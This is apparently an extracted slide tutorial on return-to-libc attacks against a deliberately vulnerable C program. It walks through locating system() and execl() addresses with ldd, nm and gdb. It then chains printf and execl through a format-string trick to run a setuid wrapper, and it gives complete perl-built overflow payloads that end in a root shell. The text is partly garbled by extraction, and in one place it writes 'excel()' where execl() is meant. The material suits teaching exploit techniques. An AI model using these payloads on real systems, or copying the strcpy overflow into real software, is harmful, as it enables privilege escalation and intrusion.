printf()
, execl()
, and
system()
.vuln.c int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; }
system()
fun: finding memory addresses
system()
takes a single argument and executes that
argument with /bin/sh
.system("/bin/sh")
to get a shell.system()
, we need to know where it is! Two
methods:
ldd
and nm
:
$ ldd vuln linux-gate.so.1 => (0x00922000) libc.so.6 => /lib/libc.so.6 (0x00664000) /lib/ld-linux.so.2 (0x00646000) $ nm /lib/libc.so.6 | grep system 00698e88 t do_system 0069932b T __libc_system 00751442 T svcerr_systemerr 0069932b W system
gdb
:
$ gdb -q vuln (gdb) break main Breakpoint 1 at 0x804838a (gdb) run Starting program: ./vuln Breakpoint 1, 0x0804838a in main () (gdb) p system $1 = {<text variable, no debug info>} 0x0069932b <system> <-- This is what we need!
Function Address | Return Address | Argument 1 | ... | Argument n |
$ export BINSH="/bin/sh" $ ./genv BINSH BINSH is located at 0xbfffff47
system()
: 0x0069932bBINSH
: 0xbfffff47system()
.system()
will return to. Right now, we don't care.BINSH
.$ ./vuln `perl -e 'print "ABCD"x7 . "\x2b\x93\x69\x00FAKE\x47\xff\xff\xbf";'`Note that the addresses are in reverse order thanks to little endian architecture.
system()
executes its arguments in /bin/sh
,
which drops privileges. This means no root shell for us.execl(path, argv[0],
argv[1]...)
will allow us to execute a convenient wrapper program
such as:
wrapper.c int main() { setuid(0); setgid(0); system("/bin/sh"); }
execl("./wrapper", "./wrapper", 0)
should end
up looking like:execl address |
some return address | "/pathto/wrapper" | "/pathto/wrapper" | 0 |
execl()
requires an argument list that is
null terminated.libc
.printf()
.
%n
parameter prints how many characters have been
written so far to a location specified by the argument.n$
inside a parameter, you can
read the value of the nth argument.%3$n
will write the number of
characters printed so far to the address specified in the 3rd
argument.WRAPPER
: "/pathto/wrapper"
FMTSTR
: "%3$n"
printf() address |
execl() address |
FMTSTR address |
WRAPPER address |
WRAPPER address |
address of this word |
vul2.c int main (int argc, char *argv[]) { char buffer[5]; printf("buffer is at %p\n", buffer); strcpy(buffer, argv[1]); return 0; }
$ ./vul2 `perl -e 'print "ABCD"x13;'` buffer is at 0xbffff550
0xbffff550 + 48 = 0xbffff580
printf()
: 0x40083960excel()
: 0x400dc140FMTSTR
: 0xbffffedfWRAPPER
: 0xbffffc65$ ./vuln `perl -e 'print "ABCD"x7 . "\x60\x39\x08\x40" . "\x40\xc1\x0d\x40" . "\xdf\xfe\xff\xbf" . "\x65\xfc\xff\xbf" . "\x65\xfc\xff\xbf" . "\x80\xf5\xff\xbf";'` sh-2.05a# id uid=0(root) gid=0(root) groups=500(matrix)